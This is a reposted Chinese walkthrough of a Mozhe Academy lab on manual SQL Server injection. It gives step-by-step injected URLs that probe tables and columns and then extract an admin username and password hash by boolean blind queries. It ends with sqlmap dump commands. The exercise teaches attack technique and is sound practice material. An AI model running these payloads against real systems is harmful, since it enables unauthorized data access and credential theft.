天天看點

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

轉載于:https://blog.csdn.net/qq_42357070/article/details/81239721

手工SQL注入過程,資料庫執行的語句,是頁面送出至伺服器應用程式,應用程式擷取id的值,然後把值拼接到查詢語句中,在到資料庫中查詢,通過程式解析後,把結果傳回在頁面上,(使用時請将mozhe.cn替換成對應的靶場位址)。

開啟靶場環境:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

第1步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2

資料庫執行語句:select * from manage where id=2

頁面傳回描述:傳回内容正常

分析解說:正常浏覽頁面,找到有參數的地方,如id。

第2步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2-0

資料庫執行語句:select * from manage where id=2-0

頁面傳回描述:傳回内容正常

分析解說:測試SQL語句。

第3步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2-1

資料庫執行語句:select * from manage where id=2-1

頁面傳回描述:傳回内容為錯誤頁面

分析解說:因為sql語句中,2-1不等于2,是以結果不成立。

第4步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2 order by 1

資料庫執行語句:select * from manage where id=2 order by 1

頁面傳回描述:傳回内容正常

分析解說:通過SQL語句中order by N 來判斷有幾個字段,傳回内容正常,可以确定至少有1個字段。

第5步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2 order by 10

資料庫執行語句:select * from manage where id=2 order by 10

頁面傳回描述:傳回内容為錯誤頁面

分析解說:通過SQL語句中order by N 來判斷有幾個字段,傳回内容不正常,說明字段數少于10個。

第6步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2 order by 5

資料庫執行語句:select * from manage where id=2 order by 5

頁面傳回描述:傳回内容為錯誤頁面

分析解說:通過SQL語句中order by N 來判斷有幾個字段,傳回内容不正常,說明字段數少于5個。

第7步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2 order by 4

資料庫執行語句:select * from manage where id=2 order by 4

頁面傳回描述:傳回内容正常

分析解說:通過SQL語句中order by N 來判斷有幾個字段,傳回内容正常,可以确定有4個字段。

第8步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.php?id=2 and 1=2 union select 1,2,3,4

資料庫執行語句:select * from manage where id=2 and 1=2 union select 1,2,3,4

頁面傳回描述:傳回内容為錯誤頁面

分析解說:通過SQL語句中and 1=2 union select 1,2,3……,n聯合查詢,判斷顯示的是哪些字段,就是原本顯示标題和内容時候的查詢字段。此處傳回的是錯誤頁面,說明系統禁止使用union進行相關SQL查詢,我們得使用其他方式進行手工SQL注入。

第9步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists(select * from admin)

資料庫執行語句:select * from manage where id=2 and exists(select * from admin)

頁面傳回描述:傳回内容為錯誤頁面

分析解說:通過SQL語句中的and exists(select * from admin)查詢,判斷資料庫中存在哪些資料庫表。此處傳回錯誤頁面,說明系統不存在admin資料庫表。

第10步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists(select * from manage)

資料庫執行語句:select * from manage where id=2 and exists(select * from manage)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的and exists(select * from manage)查詢,判斷資料庫中存在哪些資料庫表。此處傳回正常頁面,說明系統存在manage資料庫表。

第11步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists(select username from manage)

資料庫執行語句:select * from manage where id=2 and exists(select username from manage)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的and exists(select username from manage)查詢,判斷manage資料庫表表中存在的字段。此處傳回内容為正常頁面,說明資料庫表中存在username字段。

第12步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists(select password from manage)

資料庫執行語句:select * from manage where id=2 and exists(select password from manage)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的and exists(select password from manage)查詢,判斷manage資料庫表表中存在的字段。此處傳回内容為正常頁面,說明資料庫表中存在password字段。

第13步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists(select id from manage)

資料庫執行語句:select * from manage where id=2 and exists(select id from manage)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的and exists(select id from manage)查詢,判斷manage資料庫表表中存在的字段。此處傳回内容為正常頁面,說明資料庫表中存在id字段。

第14步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where ID=1)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists(select id from manage)查詢,判斷manage資料庫表表中ID為1是否存在資料。此處傳回内容為正常頁面,說明資料庫表中ID為1是存在的。

第15步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(username)=1 and ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where len(username)=1 and ID=1)

頁面傳回描述:傳回内容為錯誤頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists (select id from manage where len(username)=1 and ID=1)查詢,判斷manage資料庫表表中id=1的usrname字段值的長度。此處傳回内容為錯誤頁面,說明資料庫表中ID=1的username字段值的長度大于1。得知username長度大于1後,依次嘗試2,3,4…N,直至傳回頁面如第16步所示。

第16步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(username)=8 and ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where len(username)=8 and ID=1)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists (select id from manage where len(username)=8 and ID=1)查詢,判斷manage資料庫表表中id=1的usrname字段值的長度。此處傳回内容為正常頁面,說明資料庫表中ID=1的username字段值的長度等于8。

第17步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(password)=1 and ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where len(password)=1 and ID=1)

頁面傳回描述:傳回内容為錯誤頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists (select id from manage where len(password)=1 and ID=1)查詢,判斷manage資料庫表表中id=1的password字段值的長度。此處傳回内容為錯誤頁面,說明資料庫表中ID=1的password字段值的長度大于1。得知password長度大于1後,依次嘗試2,3,4,5…N(或者直接使用MD5後的字元串長度),直至傳回頁面如第18步所示。

第18步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(password)=16 and ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where len(password)=16 and ID=1)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists (select id from manage where len(password)=16 and ID=1)查詢,判斷manage資料庫表表中id=1的password字段值的長度。此處傳回内容為正常頁面,說明資料庫表中ID=1的password字段值的長度等于16。

第19步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,1,1))=65 and ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,1,1))=65 and ID=1)

頁面傳回描述:傳回内容為錯誤頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists (select id from manage where unicode(substring(username,1,1))=65 and ID=1)查詢,判斷manage資料庫表表中id=1的username字段值的第一位字元。此處傳回内容為錯誤頁面,說明資料庫表中ID=1的username字段值的第一位不等于‘A’。關于ASC碼的轉碼,請自行補習功課。

第20步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)查詢,判斷manage資料庫表表中id=1的username字段值的第一位字元。此處傳回内容為正常頁面,說明資料庫表中ID=1的username字段值的第一位等于‘a’。

第21步:

墨者學院 - SQL手工注入漏洞測試(Sql Server資料庫)

頁面送出:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)

資料庫執行語句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)

頁面傳回描述:傳回内容為正常頁面

分析解說:通過SQL語句中的通過SQL語句中的and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)查詢,判斷manage資料庫表表中id=1的username字段值的第一位字元。此處傳回内容為正常頁面,說明資料庫表中ID=1的username字段值的第一位等于‘d’。

第22步:

使用第19至第21步的方法,分别送出以下URL請求,即可得到id=1的username字段的值。

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,3,1))=109 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,4,1))=105 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,5,1))=110 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,6,1))=95 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,7,1))=109 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,8,1))=122 and ID=1)

最後得到的username值是:admin_mz

第23步:

利用注入username字段值的方法對password字段進行注入,分别送出以下URL請求,即可得到id=1的password字段的值。

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,2,1))=50 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,3,1))=101 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,4,1))=49 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,5,1))=98 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,6,1))=102 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,7,1))=99 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,8,1))=51 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,9,1))=102 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,10,1))=48 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,11,1))=49 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,12,1))=98 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,13,1))=55 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,14,1))=53 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,15,1))=56 and ID=1)

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,16,1))=51 and ID=1)

最後得到的password值是:72e1bfc3f01b7583

不過該password值為明文password MD5加密後的值,通過MD5解密網站得知明文password值為97285101,最後成功登入系統。

可以用sqlmap按順序跑出庫名、表名、列名,但跑出的内容則為null

得目前資料庫名:

sqlmap.py -u http://219.153.49.228:43790/new_list.asp?id=2 --current-db

得資料表名:

sqlmap.py -u http://219.153.49.228:43790/new_list.asp?id=2 --tables -D"資料庫名"

得表中列名:

sqlmap.py -u http://219.153.49.228:43790/new_list.asp?id=2 --columns -T"資料表名" -D"資料庫名"

想得其中内容:(發現值為username和password都為null)

sqlmap.py -u http://219.153.49.228:43790/new_list.asp?id=2 --columns -T"資料表名" -D"資料庫名" --dump

接着就手動注入吧。

可用 --purge 去緩存

可用 --flush 重新整理

轉自墨者學院本題下-finally‘wirteup

繼續閱讀